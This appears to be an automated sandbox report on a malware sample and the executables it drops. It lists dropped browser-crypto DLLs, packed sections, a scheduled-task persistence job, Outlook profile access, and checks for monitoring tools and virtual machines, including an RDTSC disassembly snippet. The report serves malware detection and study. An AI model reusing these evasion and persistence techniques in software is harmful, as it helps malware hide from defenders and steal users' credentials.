Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1788416 > 1048576

Source: file.exe

Static PE information: Raw size of wldjnkue is bigger than: 0x100000 < 0x19aa00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2088608299.000000006CC8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.960000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wldjnkue:EW;bsvdnapa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wldjnkue:EW;bsvdnapa:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Unpacked PE file: 22.2.DocumentsFBFCAKKKFB.exe.420000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cmeqxuop:EW;caylklxg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cmeqxuop:EW;caylklxg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.600000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cmeqxuop:EW;caylklxg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cmeqxuop:EW;caylklxg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.600000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cmeqxuop:EW;caylklxg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cmeqxuop:EW;caylklxg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Unpacked PE file: 28.2.7mpPLxE.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tjxhgeed:EW;ccdijxqb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tjxhgeed:EW;ccdijxqb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA53480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA53480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 7mpPLxE[1].exe.26.dr	Static PE information: real checksum: 0x1d42c7 should be: 0x1cc6a7
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: real checksum: 0x1e0458 should be: 0x1e8ade
Source: random[1].exe.26.dr	Static PE information: real checksum: 0x43fade should be: 0x177985
Source: 7mpPLxE.exe.26.dr	Static PE information: real checksum: 0x1d42c7 should be: 0x1cc6a7
Source: file.exe	Static PE information: real checksum: 0x1b9ec8 should be: 0x1b4d5a
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1e0458 should be: 0x1e8ade
Source: bf0500e203.exe.26.dr	Static PE information: real checksum: 0x43fade should be: 0x177985
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x1e0458 should be: 0x1e8ade

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wldjnkue
Source: file.exe	Static PE information: section name: bsvdnapa
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name:
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name:
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name: cmeqxuop
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name: caylklxg
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: cmeqxuop
Source: random[1].exe.0.dr	Static PE information: section name: caylklxg
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: cmeqxuop
Source: skotes.exe.22.dr	Static PE information: section name: caylklxg
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name:
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name: .idata
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name:
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name: tjxhgeed
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name: ccdijxqb
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name: .taggant
Source: 7mpPLxE.exe.26.dr	Static PE information: section name:
Source: 7mpPLxE.exe.26.dr	Static PE information: section name: .idata
Source: 7mpPLxE.exe.26.dr	Static PE information: section name:
Source: 7mpPLxE.exe.26.dr	Static PE information: section name: tjxhgeed
Source: 7mpPLxE.exe.26.dr	Static PE information: section name: ccdijxqb
Source: 7mpPLxE.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: ugpfseiq
Source: random[1].exe.26.dr	Static PE information: section name: jhuzbkez
Source: random[1].exe.26.dr	Static PE information: section name: .taggant
Source: bf0500e203.exe.26.dr	Static PE information: section name:
Source: bf0500e203.exe.26.dr	Static PE information: section name: .rsrc
Source: bf0500e203.exe.26.dr	Static PE information: section name: .idata
Source: bf0500e203.exe.26.dr	Static PE information: section name:
Source: bf0500e203.exe.26.dr	Static PE information: section name: ugpfseiq
Source: bf0500e203.exe.26.dr	Static PE information: section name: jhuzbkez
Source: bf0500e203.exe.26.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B536 push ecx; ret		0_2_6CA8B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0061D91C push ecx; ret		26_2_0061D92F

Source: file.exe	Static PE information: section name: wldjnkue entropy: 7.953521303193059
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name: entropy: 7.9844629822902755
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name: cmeqxuop entropy: 7.9534356709286715
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.9844629822902755
Source: random[1].exe.0.dr	Static PE information: section name: cmeqxuop entropy: 7.9534356709286715
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.9844629822902755
Source: skotes.exe.22.dr	Static PE information: section name: cmeqxuop entropy: 7.9534356709286715
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name: entropy: 7.982250954718822
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name: tjxhgeed entropy: 7.953829787210989
Source: 7mpPLxE.exe.26.dr	Static PE information: section name: entropy: 7.982250954718822
Source: 7mpPLxE.exe.26.dr	Static PE information: section name: tjxhgeed entropy: 7.953829787210989

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFBFCAKKKFB.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFBFCAKKKFB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008916001\bf0500e203.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\7mpPLxE[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFBFCAKKKFB.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFBFCAKKKFB.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsFBFCAKKKFB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAB55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CAB55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB0319 second address: BAFB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D1871h], eax 0x0000000d push dword ptr [ebp+122D0161h] 0x00000013 pushad 0x00000014 popad 0x00000015 call dword ptr [ebp+122D2F31h] 0x0000001b pushad 0x0000001c jmp 00007F6A88D62F39h 0x00000021 xor eax, eax 0x00000023 jmp 00007F6A88D62F2Ch 0x00000028 mov edx, dword ptr [esp+28h] 0x0000002c jmp 00007F6A88D62F2Eh 0x00000031 mov dword ptr [ebp+122D36F9h], eax 0x00000037 cmc 0x00000038 mov esi, 0000003Ch 0x0000003d mov dword ptr [ebp+122D317Dh], ebx 0x00000043 add esi, dword ptr [esp+24h] 0x00000047 pushad 0x00000048 xor bx, 3EDAh 0x0000004d pushad 0x0000004e mov dword ptr [ebp+122D317Dh], ebx 0x00000054 mov ebx, dword ptr [ebp+122D37A1h] 0x0000005a popad 0x0000005b popad 0x0000005c lodsw 0x0000005e jmp 00007F6A88D62F35h 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 ja 00007F6A88D62F32h 0x0000006d mov ebx, dword ptr [esp+24h] 0x00000071 mov dword ptr [ebp+122D1D2Bh], edi 0x00000077 nop 0x00000078 jmp 00007F6A88D62F39h 0x0000007d push eax 0x0000007e push eax 0x0000007f push edx 0x00000080 jnc 00007F6A88D62F2Ch 0x00000086 rdtsc
